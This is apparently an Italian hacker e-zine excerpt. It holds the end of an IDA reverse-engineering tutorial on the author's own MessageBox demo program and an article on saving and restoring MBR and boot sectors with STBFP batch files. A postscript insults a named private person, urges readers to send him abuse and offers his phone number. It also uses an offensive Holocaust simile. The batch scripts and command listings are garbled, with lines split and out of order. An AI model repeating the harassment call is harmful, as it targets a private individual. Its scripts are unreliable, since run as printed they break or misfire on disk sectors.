; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; S u b r o u t i n e
j_MessageBoxA proc near ; CODE XREF: start+E p start+2B p start+40 p
jmp ds:MessageBoxA
j_MessageBoxA endp
align 200h
db 0E00h dup(?)
CODE ends
; Section 2. (virtual address 00002000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00000800
; Flags C0000040: Data Readable Writable
; Alignment : 16 bytes ?
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; Segment type: Pure data
DATA segment para public 'DATA' use32
assume cs:DATA
str->Esempio2--Coded db 'Esempio 2 - - Coded by Quequero',0 ; DATA XREF:
start+2 o
; start+1F o start+34 o
str->CiauzCliccaSuUn db 'Ciauz!!! Clicca su un tasto',0 ; DATA XREF: start+7 o
str->BravoHaiSceltoO db 'Bravo hai scelto SI!!!',0 ; DATA XREF: start+39 o
str->HaiSceltoAnnull db 'Hai scelto annulla!!!',0
str->HaiSceltoTermin db 'Hai scelto termina',0
str->HaiSceltoNo db 'Hai scelto NO!!!',0 ; DATA XREF: start+24 o
align 1000h
DATA ends
;
; Imports from KERNEL32.dll
;
; Section 3. (virtual address 00003000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00000A00
; Flags C0000040: Data Readable Writable
; Alignment : 16 bytes ?
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; Segment type: Externs
; _idata
extrn ExitProcess:dword ; DATA XREF: start+4C r
;
; Imports from USER32.dll
;
extrn MessageBoxA:dword ; DATA XREF: j_MessageBoxA r
end start
---------------------------------------------------8<-----------------------------------------------------Bene bene, il codice l'ho scritto io e non è difficile anzi direi che la
conversione è piuttosto immediata vi consiglio comunque di studiarvi un attimo
il disassemblato qua sopra prima di procedere.....fatto? Ok vediamo un po' di
rinominare qualche funzione, guardate il codice e ve lo spiego:
push
push
push
push
call
23h
offset str->Esempio2--Coded
offset str->CiauzCliccaSuUn
0
j_MessageBoxA
Come potete ben vedere queste 5 righe non sono altro che la routine di
generazione di una messagebox, la struttura è questa:
MessageBox(
UINT uType // stile del messagebox (bottoni e icone)
LPCTSTR lpCaption, // offset del titolo del message box
LPCTSTR lpText, // offset del testo del messagebox
HWND hWnd, // handle della finestra (NULL se è assente)
);
in assembly tale funzione avrebbe più o meno queste fattezze:
push MB_OK OR MB_ICONQUESTION
push offset TITOLO
push offset TESTO
push NULL ; NULL se non abbiamo una finestra genitrice
call MessageBoxA
bene bene, ma 23h cos'è? Allora il file windows.inc ci suggerisce tali cose:
MB_OK = 0000H
MB_OKCANCEL = 0001H
MB_ABORTRETRYIGNORE = 0002H
MB_YESNOCANCEL = 0003H
MB_YESNO = 0004H
MB_RETRYCANCEL = 0005H
MB_ICONHAND = 0010H
MB_ICONQUESTION = 0020H
MB_ICONEXCLAMATION = 0030H
MB_ICONASTERISK = 0040H
una semplice addizione ci rivela che 23h è uguale a 0020h+0003h cioè
MB_ICONQUESTION+MB_YESNOCANCEL, ciò vuol dire che il programmatore (io) nella
prima riga ha usato questi parametri:
push MB_YESNOCANCEL OR MB_ICONQUESTION.
adesso rinominiamo in IDA le stringhe in modo da avere qualcosa come:
push offset caption
invece di:
push offset str->Esempio2...
Senza che vi dico come si fa che l'avete imparato prima, a questo punto possiamo
già ricostruire tutte le routine di messagebox presenti nel codice, rinominate
tutte le stringhe come "Caption", "Testo", "Testo2" ecc....Avremo in questo modo
la struttura originale, ma manca una cosa, se guardate bene dopo ogni chiamata
ad un messagebox c'è un "cmp eax, ?", cosa sarà mai? Bhè, prendiamo la nostra
API reference preferita ed andiamo a vedere.....Ci dice che l'ID del tasto
premuto viene mosso in eax, ma come facciamo a sapere a cosa corrisponde il
numero che sta lì? Semplice, sempre con la nostra API reference! Ecco la
tabella:
IDOK = 1
IDCANCEL = 2
IDABORT = 3
IDRETRY = 4
IDIGNORE = 5
IDYES = 6
IDNO = 7
e così notiamo con piacere che dopo ogni chiamata il programma checka EAX per
vedere quale pulsante è stato premuto ed aprire un altro messagebox, quindi
finiamo di rinominare tutti quanti i vari jump e vediamo come è diventato il
nostro codice...:
public start
start proc near ; CODE XREF: start+30 j start+45 j
push MB_ICONQUESTION or MB_YESNOCANCEL
push offset Caption
push offset Messaggio
push NULL
call MessageBoxA
cmp eax, 6
jz short SI_PREMUTO
cmp eax, 2
jz short ESCI
push MB_ICONQUESTION or MB_OK
push offset Caption
push offset No_Premuto
push NULL
call MessageBoxA
jmp short start
SI_PREMUTO ; CODE XREF: start+16 j
push MB_ICONQUESTION or MB_OK
push offset Caption
push offset Messaggio
push NULL
call MessageBoxA
jmp short start
ESCI: ; CODE XREF: start+1B j
call ExitProcess
start endp
Ottimo!!! Vorrei darvi però ancora dei consigli, a dire il vero non è facile
ricordare tutti gli ID a memoria e per facilitarci il lavoro IDA ci mette a
disposizione i "commenti", i commenti non sono altro che degli appunti a bordo
riga che mette IDA o che mettiamo noi, ne esistono due tipi: ripetibili e non,
la differenza sta nel fatto che se mettiamo su un jump un commenti ripetibile
del tipo "questo fa uscire dal programma" IDA posizionerà la stessa frase
all'arrivo di quel jump, mentre nel caso di un commento non ripetibile questo
non succede, per inserire un commento ripetibile basta cliccare sulla riga che
ci interessa e premere ; (si un punto e virgola) se invece ne vogliamo inserire
uno non ripetibile allora dobbiano premere : (due punti) e poi scriverlo nel
box, sappiamo tutto ora del programma, ci resta solo di andarci a leggere tutte
le varie stringhe che si trovano nella sezione data ed unirle....fatto ecco il
codice:
.386p
.model flat, stdCALL
EXTRN ExitProcess:PROC
EXTRN MessageBoxA:PROC
INCLUDE WINDOWS.INC
.DATA
null equ 0
Caption db 'Esempio 2 - - Coded by Quequero',0
Messaggio db 'Ciauz!!! Clicca su un tasto',0
Messaggio1 db 'Bravo hai scelto occhei!!!',0
Messaggio2 db 'Hai scelto annulla!!!',0
Messaggio3 db 'Hai scelto termina',0
Messaggio4 db 'Hai scelto NO!!!',0
.code
start:
push MB_YESNOCANCEL or MB_ICONQUESTION
push offset Caption
push offset Messaggio
push NULL
call MessageBoxA
cmp eax, 6 ; YES premuto?
je occhei
cmp eax, 2 ; CANCEL premuto?
je exit
push MB_OK or MB_ICONQUESTION
push offset Caption
push offset Messaggio4
push NULL
call MessageBoxA
jmp start
occhei:
push MB_OK OR MB_ICONQUESTION
push offset Caption
push offset Messaggio1
push NULL
call MessageBoxA
jmp start
exit:
call ExitProcess
end start
Lo so che la stringa "Hai premuto termina..." non viene mai usata, lei sta li
solo per confondere le idee ;))))
La nostra cara IDA ha altre doti "nascoste" che vengono usate di meno e che mi
accingerò a spiegarvi. Se andate nel menu "file"|"Load file" vedrete varie
opzioni e più precisamente:
IDC file...
Additional binary file...
IDS file...
Debug information file...
FLIRT signature file...
IDC file: i file IDC sono dei file script che possono tranquillamente essere
scritti a mano per creare delle proprie macro
Additional binary file: da qui carichiamo un file binario addizionale e
aggiungiamo le nuove informazioni in coda alle vecchie
IDS file: questa non serve potenzialmente mai, i file .IDS sonon quelli
contenenti tutte le informazioni sulle varie funzioni di winzoz ma IDA le carica
da sola durante il disassembling
Debug information file: bhè se IDA trova un file DBG inerente al file che stiamo
disassemblando allora si preoccupa di caricarlo, se invece non lo trova allora
glielo possiamo fare caricare noi
FLIRT signature file: avete presente i file .SIG del PGP? Bhè non c'entrano 'na
mazza ;) da questi file IDA carica delle funzioni modello standard che l'
aiuteranno a riconoscere delle funzioni standard, IDA cerca il file adatto da
sola ma non sempre ci riesce, nel caso lo volessimo fare a mano troveremmo tali
file nella directory SIG, per caricarne o scaricarne uno basta aprire la
finestra "signature" e premere ins per inserirne uno e del per scaricarne uno.
Esploriamo adesso il menu "Produce output file...", ecco le varie opzioni:
Produce MAP file... Shift-F10
Produce ASM file... Alt-F10
Produce LST file...
Produce EXE file... Ctrl-F10
Produce DIF file...
Dump database to IDC file...
È giunto il momento di conoscere anche loro, hehehehe iniziamo.
Produce MAP file: IDA scriverà un file con tutte le informazioni riguardo ai
segmenti ed i nomi ordinati a seconda dei loro valori
Produce ASM file: già incontrata, produce comunque un file .asm contenente il
testo asm da noi selezionato, è molto utile quando si creano i keygenerator
Produce LST file: IDA scrive un file con il disassemblato attuale oppure con una
porzione di codice da noi selezionata
Produce EXE file: come già detto ricrea l'eseguibile nel caso lo avessimo
modificato (funziona solo con i file DOS)
Produce DIF file: questa funzione crea se non erro un file in pieno testo nel
quale sono annotati i valori originali e quelli che sono stati cambiati, la
guida dice che il file assumerebbe queste sembianze:
commento
nome_del_file
offset: vecchio_valore nuovo_valore
Dump database to IDC file: con questa opzione IDA salva il database in un file
di testo.
Il menu "IDC command..." ci consente di caricare un piccolo script scritto
specificatamente per IDA, la lista è talmente lunga che se ne avete bisogno
aprite il menu e premete F1 per vedervela ;))))
Scusate ma sto iniziando a sentire i primi sintomi della fatica, sono infatti 4
ore che sto scrivendo......Senza contare quelle dei giorni precedenti ovviamente
;))
I restanti mi sebrano superflui, passiamo al successivo menu cioè "Edit", un
menu maledettamente ricco di opzioni ecco cosa si presenta davanti ai nostri
occhi una volta aperto:
Code
Data
ASCII
Array...
Undefine
Rename...
Operand type
Comments
Segments
Structs
Enums
Functions
Patch program
Other
C'mon babe let's go explain.......Code: opzione alquanto carina che serve a
convertire in istruzioni i byte segnati da IDA cone inesplorati
Data: bell'opzione anche questa, serve a convertire i byte inesplorati in dati,
ecco le conversioni che applica:
db -> dw -> dd -> float -> dq -> double -> dt -> packreal -\
^ |
\----------------<----------------<----------------<----------------/
In pratica converte un byte in una word, se lo riapplichiamo lo converte in una
doubleword e così di seguito, se un file non supporta quel determinato tipo di
dato allora si salta al passo successivo
ASCII: questa serve a convertire i byte inesplorati in stringhe
Array: ci permette di dichiarare la grandezza di un array
Undefine: selezionate del testo, cliccate su Undefine e come per magia tutti
byte selezionati verranno convertiti ad inesplorati
Rename: abbiamo già usato questa funzione ma abbiamo delle sotto-opzioni
disponibili e precisamente sono:
Include in names list: IDA ha una gamma di nomi predefiniti e questi sono:
sub_ instruction, subroutine start
locret_ 'return' instruction
loc_ instruction
off_ data, contains offset value
seg_ data, contains segment address value
asc_ data, ascii string
byte_ data, byte (or array of bytes)
word_ data, 16-bit (or array of words)
dword_ data, 32-bit (or array of dwords)
qword_ data, 64-bit (or array of qwords)
flt_ floating point data, 32-bit (or array of floats)
dbl_ floating point data, 64-bit (or array of doubles)
tbyte_ floating point data, 80-bit (or array of tbytes)
stru_ structure (or array of structures)
algn_ alignment directive
unk_ unexplored byte
Attivando questa opzione IDA inserisce in nome nella lista che sta qua sopra.
Public name: possiamo dichiarare un nome pubblico, se il file supporta la
direttiva "public" allora il nome sarà utilizzato da IDA altrimenti sarà
mostrato solo come commento.
Autogenerated name: nome autogenerato dal programma, appari di un colore
marroncino e scompare da solo se "undefiniamo" i byte di quel nome
Weak name: stessa cosa di public name, se il programma supporta la direttiva
"weak" allora IDA lo userà altrimenti il nome sarà mostrato come commento
Create name anyway: se per qualche masochistico motivo volessimo creare un nome
nonostante ne esista uno identico allora dovremmo checkare questa opzione per
permettere alla povera IDA di aggiungere un suffisso al nome pre-esistente
Operand types: altro menu stramaledettamente carico di opzioncine, ne elencherò
solo le più incomprensibili:
Convert to number
Convert to hex number
Convert to decimal number
Convert to binary number
Convert to octal number
Convert to character
Mark as variable
Convert to segment
Convert to offset (DS)
Convert to offset (CS)
Convert offset by any segment
Convert offset by any user-specified base
Convert to struct offset
Convert to enum
Convert to stack variable
Change sign of operand
User-defined operand
Mark as variable <"#Mark as variable">: questa opzione marka e unmarka i byte
selezionati come variabili, le variabili si riconoscono perchè iniziano con un
asterisco "*"
Convert to offset (DS): questo comando converte un operando di un'istruzione
corrente in un offset dal segmento dati (DS) corrente
Convert offset by any segment: stessa cosa di sopra solo che converte un
operando in un offset di qualunque segmento
Convert to struct offset: questo comando converte un operando di un'istruzione
corrente in un offset all'interno di una specificata struttura
Poi abbiamo la sezione "Structs" che serve a creare e modificare delle
strutture.
"Enums" da qui possiamo definire un tipo di Enum ma su questo menu non posso
dirvi altro, non faccio il misterioso ma semplicemente non lo so ;)
"Functions" da qui possiamo aggiungere ed editare le varie funzioni, non vi
illustro il funzionamento in quanto è qualcosa di troppo intuitivo
"Patch program" già spiegato in precedenza
"Other" e sottomenu:
(Re)name any address...: indovinate un po'? DA qui potete
nominare/rinominare/cancellare un indirizzo
Variable: uguale a "Mark as Variable"
Jump table...: se troviamo un jump indiretto da una tavola possiamo informare
IDA della grandezza e dell'indirizzo di questa tavola di modo che possa
continuare la sua analisi convertendo per esempio in codice tutti quegli
indirizzi riferiti a quella tavola
Alignment...: questo comando consente di creare una direttiva di allineamento,
questa direttiva rimpiazzerà il numero di byte inutili inseriti dal linker del
programma per allineare il codice ed i dati in un paragrafo, possiamo provare a
selezionare un'area che desideriamo convertire ed IDA proverà ad individuare un
allineamento corretto
Manual instruction...: Questo comando ci permette di specificare la
rappresentazione di un'istruzione o di un dato in un programma
Hide/show item: Questo comando ti permette di nascondere e mostrare
un'istruzione o un dato
Hide/show border: Se attivata nasconde il sottile bordo creato da IDA per
dividere le istruzioni dai dati
Menu "Navigate" di questo spiegherò solo pochissime funzioni le più utili e meno
comprensibili come solito.
Empty navigation stack: vuota lo stack di navigazione che usa IDA
Jump to... | Problem...: salta alla prima funzione che IDA dichiara affetta da
problemi i quali sono:
Can't find offset base
Can't find name
Can't find alternative string for an operand
Can't find comment
Can't find references
Indirect execution flow
Can't disassemble
Already data or code
Execution flows beyond limits
Too many lines
Attention! Probably erroneous situation
Decision to convert to instruction/data is made by IDA
Search for | next void: i void sono delle istruzioni alle quali dobbiamo stare
attenti dal momento che IDA non è in grado di riconoscere se si tratta di Offser
oppure di Numeri, con questo comando li andiamo ad esaminare per vedere se
possiamo risolvere noi il problema
Search for | text....: cerchiamo del testo come ad esempio una stringa del tipo
"sei un coglione hai sbagliato la password"
Search for | text in core....: la stessa cosa di sopra solo molto più veloce
Search for | not function: cerca i primi byte che non sembrano una funzione
Menu "View" anche di questo spiegherò le funzioni più importanti:
View | Functions: ci mostra tutte le funzioni chiamate dal programma
View | Enumeratios: questo comando apre la finestra "enum" dalla quale possiamo
cambiare, aggiungere e modificare le enumerazioni.
Oki e questi sò finiti adesso manca il menu più lungo quindi se siete stanchi di
leggere andate a riposarvi e continuate domani mattina.
Options:
Text representation...
Cross references...
Assembler directives...
Name representation...
Demangled names...
ASCII strings style...
ASCII strings options...
Colors...
Dump/normal view
Setup data types
Processor type...
Target assembler...
Analysis options...
Search direction
Allora allorino continuaiamo questa tediosa seduta parlando delle "opzioni" vere
e proprie riguardo la configurazione del programma, salterei volentieri questo
passaggio per volare felice alla conclusione ma "una forza dentro dentro che
neanch'io so spiegare come" (by Yale(r)) mi trattiene su questa sedia a scrivere
un inutile tutorial che molto probabilmente sarà letto da poche decine di
persone..;(((
Bando alle ciance: Text representation...: menu a dir poco arzigogolato che ci
presenta una miriade di piccole opzioncine che andremo ora ad esaminare.
Line prefixes: se la disattiviamo vedremo scomparire gli indirizzi davanti ai
byte
Number of opcode bytes: gli opcode sono i codice esadecimali di ogni istruzioni,
IDA di default ne rappresenta 6 e se l'istruzione ne richiede di più allora
aggiunge un "+" alla fine (c'è caduta pure la rima ;)
Use segment names: abilita o disabilita la nomenclatura dei segmenti così se
abilitato vedremo "segment:3200" invece di "3000:3200"
Segment addresses: se è abilitata vedremo il segmento davanti ad un indirizzo:
"segment:3000" invece di un semplice "3000", questa la tengo disabilitata che fa
meno bordello
Display 'void' marks: fa comparire dei segni di riconoscimento davanti ai "void"
Display empty lines: se abilitata fa comparire delle linee vuote diminuendo lo
spazio utile sul monitor
Display borders between data/code: se disabilitato fa scomparire la linea
separatrice tra i dati ed i segmenti
Display bad instructions <BAD> marks: tutti i processori hanno le loro belle
funzioni non documentate e quando una di queste passa sotto il disasm il
programma dice "e tu ki kazzo sei?", IDA è molto sensibile da questo punto di
vista e se trova una funzione che non conosce prova ad identificarla ma se
proprio non ci riesce la marchia con tanta ferocia quanto un tedesco ad un
povero ebreo e con un bel tatuaggio rosso le scrive sopa <BAD>
Use tabulations in output: con questa opzione abilitata IDA disabilita il
conosciutissimo tab-stop (0x09) nel suo file di output
Questi mi sembrano intuitivi:
Display comments
Display repeatable comments
Display auto comments
Instructions indention: letteralmente: spaziatura delle istruzioni, settate
questo valore a 2-3
Comments indention: che sarà mai????? ;)))
void's low limit: vedi sotto
void's high limit: questi due valori sono molto importanti in quanto dichiarano
se una istruzione è oppure no un "void", un oggetto è detto "void" se ha un
valore immediato come operando o parte di un operando e questo valore immediato
è tra quelli che definiamo noi nei box "low limit" e "high limit", è questa
l'importanza dei due box
"Cross references" ecco le opzioni che ci mette a disposizione questo menu:
Display segments in xrefs: ecco la differenza tra abilitato e disabilitato:
; CODE REF: 3000:1025 - enabled
; CODE REF: 1025 - disabled
Display xref type mark: chissà forse marka le xref
Display function offsets: bho! Ci mostrerà gli offset delle funzioni? ;)))
Display xref values: su questa poi non so che dirvi, forse mostra i valori dell
xref ;)))
Right margin: opzione di difficilissima interpretazione può darsi che si la
misura del margine destro, ma chissà le vie del signore sono infinite ;))))
Cross reference depth: questa invece è un po' più seria e per non confondervi vi
riporto l'esempio dell guida, l'autore suppone di avere un array
A db 100 dup(0)
se alcune istruzioni si riferiscono all'elemento 5-th dell'array:
mov al, A+5
con TD=3 non ci verranno mostrate xrefs
con TD=10 ci verranno invece mostrate
Number of xrefs to display: la funzione è ovvia, alzatela però di un po'
"Assembler directives...": altro piccolo menu
ASSUME directives: questa opzione attiva o disattiva la generazione di alcune
direttve quali "assume" e "origin", lasciatela abilitata può essere utile nel
ricostruire il sorgente
.ORG directives: la stessa cosa di prima solo che è valida per i file .com
"Name representation...": poco da dire, qui ci viene chiesto in che modo
chiamare i vari segmenti e credo che l'opzione di default sia la migliore, le
altre 4 opzioni riguardanti i tipi di nomi non saranno analizzate in quanto le
ho già spiegate prima
"Demangled names...": IDA può rimettere a posto i nomi maciullati (hei la guida
dice proprio maciullati=mangled) dai compilatori C++ ed in questo menu ci chiede
come farlo, se sotto forma di commento, di nome o di macellato ;)), il setup dei
nomi lunghi e corti lo lascio a voi in quanto è facilissimo
"ASCII strings style...": in questo menu possiamo definire lo stile delle
stringhe e possiamo anche definirne una al momento che ci serve, qui non c'è
altro da spiegare
"ASCII strings options...": ahhhhhh!!! Uno dei menu che mi fanno godere di più
aahhhhhhhh, sembro Homer ;) ecco cosa possiamo fare:
Generate names: le vogliamo le stringhe ASCII? Allora abilitiamola ;)
Names prefix: cambiate questa maledetta stringa e metteteci qualco's altro
Mark as autogenerated: segna la stringa come autogenerata
Serial number: vi genera il seriale esatto per QUALUNQUE programma protetto da
password, trova anche le pass per i file .zip e . rar protetti ;)))) hahahahaha
Serial width: vi chiede quanto lungo volete il seriale per il programma
;))))))))))
ASCII next line char: questa è grande infatti vi fa scegliere la parola che
volete codificare nel serial ;)))))) porka vakka quanto sto rincoglionito ;))))
"Colors...": scegliete la palette che volete usare ma vaaaaaaaaaaaa ;)))))))
"Dump/normal view": vi fa scegliere tra la visuale come editor esadecimale e
quella come disassembler
"Setup data types": vi chiede che tipo di dati volete usare nel comando MakeData
Oki i menu sono finiti, ed io spero di avervi fatto capire il funzionamento di
IDA, a presto
Quequero
Home Page: http://quequero.cjb.net
E-mail. [email protected]
P.S.
cara gente che siete arrivati fin qui, ecco il tanto agognato PS, lo userò solo
per fare una cosa, ma prima voglio salutare tutti ma propri tutti i miei
amici...via
un grande FUCK a LORENZO il mio amico IDIOTA che dice che i cracker sono dei
deficienti, i reverser dei coglioni, io un malato del cavolo che ho scritto sto
tutorial, ci reputa una massa di idioti, dice che l'HACK-it equivale al raduno
dei deficienti però poi quel porco il crack per half-life me lo chiede, il crack
per il virtual cd pure, porco maledetto che altro non sei, con quell'aria di
sufficienza, ti odio, tutti ti odiano tanto quanto tu odi noi, maledetto
invertebrato, ragazzi la mail la sapete, vi prego mandate nella mia casella
degli insulti e ve gleli farò leggere uno ad uno a quel bastardo
grrrrrrrrrrr!!!!!!
Caro Lorenzo, tu che mi reputi un idiota sappi che questo P.S. sarà letto da
decine di persone ed allora ci godròòòòòòòò chiedetemi il suo numero di telefono
e ve lo darò arghhhhhhhhh!!!!!!!
_#_
--------------------------------------------------------------------------> Smart Data Recovery - Come ottimizzare il recupero dati dagli Hard Disk <
---------------------------------------------------------------------------
×-h4ck3r <[email protected]>
Questo articolo ha lo scopo di fornire le informazioni e i mezzi per ridurre
al minimo (quando possibile) i tempi di recupero dei dati dagli Hard Disk (HD)
sputtanati.
Di questi tempi tra CIH e simili - per non parlare di partizionamenti riusciti
male! ;-P - c'è da aver timore di perdersi tutto il contenuto degli HD ......
soprattutto se sono zeppi di roba (come i miei ;))!
Meglio prevenire ke curare!
Tutto quello ke sto per dirti ha senso se ti sei perso "solo" il MBR ed i
Boot Sector (ke sono quelle regioni di un HD, cosiddette 'vitali'). Se,
invece, per un motivo qualsiasi i DATI sul vostro disco sono stati sovrascritti,
bhè allora non c'è molto da fare!
E' vero puoi ricorrere ad alcune ottime utility come Tiramisu, Lost & Found,
MRecover (in ultima analisi), etc ... che sono anke molto veloci, ma nella
maggior parte dei casi devi rimanere ore ed ore davanti al monitor ad aspettare
ke si facciano tutti i calcoli necessari e poi devi disporre NECESSARIAMENTE
di un altro disco fisico su cui andare a memorizzare i dati recuperati; e per
copiarsi qualke Gb di roba da un disco ad un altro ci vuole tempo!!! Te lo
assicuro! Per non parlare del fatto ke può capitarti di non riuscire a
recuperare
tutti i nomi lunghi (quelli usati da Windows 95) costringendoti a reinstallare
tutto quel popo' di roba ke avevi installato!
Non ci voleva un genio per dirti quello ke ti sto per dire, essendo una cosa
molto banale, però se nessuno te lo dice ..... ;-))
Tutto quello ke bisogna fare è salvare tutte quelle zone critike degli HD
come MBR e Boot Sector in alcuni file sul tuo disco fisso (anke su quello ke
'temi' di perdere!)
Perkè tutto questo? Perkè dopo il disastro (non ti grattare) utilizzerai il
tuo programmino di data recovery preferito SOLO per recuperare questi file che
andrai a salvare su un floppy (poi ti spiego come fare).
Dopo aver recuperato questi file miracolosi, che nella maggior parte dei casi
in tutto non sono più grandi di un paio di Kb, li andrai a rimettere nei giusti
settori del tuo HD e al riavvio successivo tutto sarà tornato a posto! E' kiaro
il
vantaggio? Non devi più recuperare (e copiare su un altro supporto) TUTTI i
dati presenti su HD, ma solo poki Kb! (1)
[Procedura:]
Quello di cui hai bisogno è di un utility ke permetta di estrarre questi dati
dal tuo HD per poi rimetterli al posto giusto quando necessario.
C'è un utility molto semplice ke fa al nostro caso e per di più è Freeware per
uso personale! Grazie Jad Saliba! ;-)
Si kiama STBFP: Save the Boot, FAT and Partition.
Il sito ufficiale lo trovi qui: http://www.easynet.ca/jad/stbfp.html
Il pakketto di utility da scaricare è: http://www.easynet.ca/jad/stbfp20.zip
(45 Kb)
Contiene 3 programmini ke girano 2 sotto DOS (vi consiglio di usarli SOLO da
DOS e non da un prompt di Windows):
STP (per il MBR)
STB (per il BS)
STF (per la FAT) (ke in questo caso non useremo)
Prima di andare a smanettare con questi settori vitali, ti consiglio di
salvare tutto su un floppy. Ecco come:
FORMAT A: /S
[copia queste utility sul floppy]
A:\STP 1 A:\MBR1 /S
A:\STP 2 A:\MBR2 /S
<== salva il MBR del primo disco FISICO
<== salva il MBR del secondo disco FISICO (se lo hai)
A:\STB 3 A:\BS1 /S /X
A:\STB 4 A:\BS2 /S /X
.... e così via se hai + diski
<== salva il PRIMO Boot Sector del PRIMO disco FISICO
<== salva il PRIMO Boot Sector del SECONDO disco FISICO
(se lo hai) .... e così via se hai + diski
Limitazione: STB riesce a salvare SOLO il PRIMO Boot Sector di ogni HD fisico.
Se su uno stesso HD hai più partizioni, gli altri Boot Sector non possono essere
salvati!
Ora, per sicurezza, confronta i file salvati su floppy con i settori del HD:
A:\STP
A:\STP
A:\STP
A:\STP
1
2
3
4
A:\MBR1 /C
A:\MBR2 /C
A:\BS1 /C
A:\BS2 /C
Ora, se per caso fai casini, parti con questo disketto e dai i comandi:
A:\STP
A:\STP
A:\STB
FISICO
A:\STB
FISICO
1 A:\MBR1 /R
2 A:\MBR2 /R
3 A:\BS1 /R /X
<== rimette a posto il MBR del primo disco FISICO
<== rimette a posto il MBR del secondo disco FISICO
<== rimette a posto il Boot Sector del primo disco
4 A:\BS2 /R /X
<== rimette a posto il Boot Sector del secondo disco
resetta il PC e provaci ancora! =)
Bene ora ke abbiamo una copia di questi settori andiamo a creare 6 file batch
personalizzati per automatizzare queste operazioni, da mettere nella stessa
directory in cui hai scompattato il STBFP, ke d'ora in poi suppongo ke sia:
C:\STBFP
[SALVAMBR.BAT]
-------------> CUT HERE <----------------@ECHO OFF
CLS
ECHO
SALVATAGGIO PRIMO MBR
C:\STBFP\STP 1 C:\MBR1 /S
IF ERRORLEVEL 0 GOTO SALVA2
IF ERRORLEVEL 1 GOTO KO1
:KO1
ECHO
PAUSE
###### ERRORE NEL SALVATAGGIO DEL PRIMO MBR!!! ######
:SALVA2
REM
ECHO
SALVATAGGIO SECONDO MBR
REM
C:\STBFP\STP 2 C:\MBR2 /S
REM
IF ERRORLEVEL 0 GOTO SALVA3
REM
IF ERRORLEVEL 1 GOTO KO2
REM
REM
REM
:KO2
ECHO
PAUSE
REM
REM
REM
REM
REM
:SALVA3
ECHO
SALVATAGGIO TERZO MBR
C:\STBFP\STP 3 C:\MBR3 /S
IF ERRORLEVEL 0 GOTO END
IF ERRORLEVEL 1 GOTO KO3
REM
:KO3
###### ERRORE NEL SALVATAGGIO DEL SECONDO MBR!!! ######
REM
REM
ECHO
PAUSE
###### ERRORE NEL SALVATAGGIO DEL TERZO MBR!!! ######
REM
:END
-------------> CUT HERE <-----------------
In questo esempio ho supposto ke tu abbia un solo HD fisico; se ne hai più
di uno leva i REM dai comandi ke vuoi ke vengano eseguiti.
[VERMBR.BAT]
-------------> CUT HERE <----------------@ECHO OFF
CLS
ECHO.
ECHO
###### CONTROLLO PRIMO MBR ######
C:\STBFP\STP 1 C:\MBR1 /C
PAUSE
REM
REM
REM
REM
REM
CLS
ECHO.
ECHO
###### CONTROLLO SECONDO MBR ######
C:\STBFP\STP 2 C:\MBR2 /C
PAUSE
REM
CLS
REM
ECHO.
REM
ECHO
###### CONTROLLO TERZO MBR ######
REM
C:\STBFP\STP 3 C:\MBR3 /C
REM
PAUSE
-------------> CUT HERE <----------------Stesso discorso di prima per le righe REMmate.
[RIPRMBR.BAT]
-------------> CUT HERE <----------------@ECHO OFF
CLS
ECHO.
ECHO
#######
RIPRISTINO PRIMO MBR
C:\STBFP\STP 1 A:\MBR1 /R
PAUSE
REM
REM
REM
REM
REM
CLS
ECHO.
ECHO
#######
C:\STBFP\STP 2 A:\MBR2 /R
PAUSE
########
RIPRISTINO SECONDO MBR
REM
CLS
REM
ECHO.
REM
ECHO
#######
RIPRISTINO TERZO MBR
REM
C:\STBFP\STP 3 A:\MBR3 /R
REM
PAUSE
-------------> CUT HERE <----------------Stesso discorso di prima per le righe REMmate.
########
########
Passiamo ora ai file batch per i Boot Sector:
[SALVABS.BAT]
-------------> CUT HERE <----------------@ECHO OFF
CLS
ECHO
SALVATAGGIO 1° BOOT SECTOR DEL 1° DISCO
C:\STBFP\STB 3 C:\BS1 /S /X
IF ERRORLEVEL 0 GOTO SALVA2
IF ERRORLEVEL 1 GOTO KO1
:KO1
ECHO
PAUSE
ERRORE NEL SALVATAGGIO DEL 1° BOOT SECTOR DEL 1° DISCO
:SALVA2
REM
ECHO
SALVATAGGIO 1° BOOT SECTOR DEL 2° DISCO
REM
C:\STBFP\STB 4 C:\BS2 /S /X
REM
IF ERRORLEVEL 0 GOTO SALVA3
REM
IF ERRORLEVEL 1 GOTO KO2
REM
REM
REM
:KO2
ECHO
PAUSE
REM
REM
REM
REM
REM
:SALVA3
ECHO
SALVATAGGIO 1° BOOT SECTOR DEL 3° DISCO
C:\STBFP\STB 5 C:\BS3 /S /X
IF ERRORLEVEL 0 GOTO END
IF ERRORLEVEL 1 GOTO KO3
REM
REM
REM
:KO3
ECHO
PAUSE
ERRORE NEL SALVATAGGIO DEL 1° BOOT SECTOR DEL 2° DISCO
ERRORE NEL SALVATAGGIO DEL 1° BOOT SECTOR DEL 2° DISCO
REM
:END
-------------> CUT HERE <----------------Stesso discorso di prima per le righe REMmate. "BASTAAAAAAAAA! ho capito!"
[VERBS.BAT]
-------------> CUT HERE <----------------@ECHO OFF
CLS
ECHO.
ECHO
CONTROLLO 1° BOOT SECTOR DEL 1° DISCO
C:\STBFP\STB 3 C:\BS1 /C
PAUSE
REM
REM
REM
REM
REM
CLS
ECHO.
ECHO
CONTROLLO 1° BOOT SECTOR DEL 2° DISCO
C:\STBFP\STB 4 C:\BS2 /C
PAUSE
REM
CLS
REM
ECHO.
REM
ECHO
CONTROLLO 1° BOOT SECTOR DEL 3° DISCO
REM
C:\STBFP\STB 5 C:\BS3 /C
REM
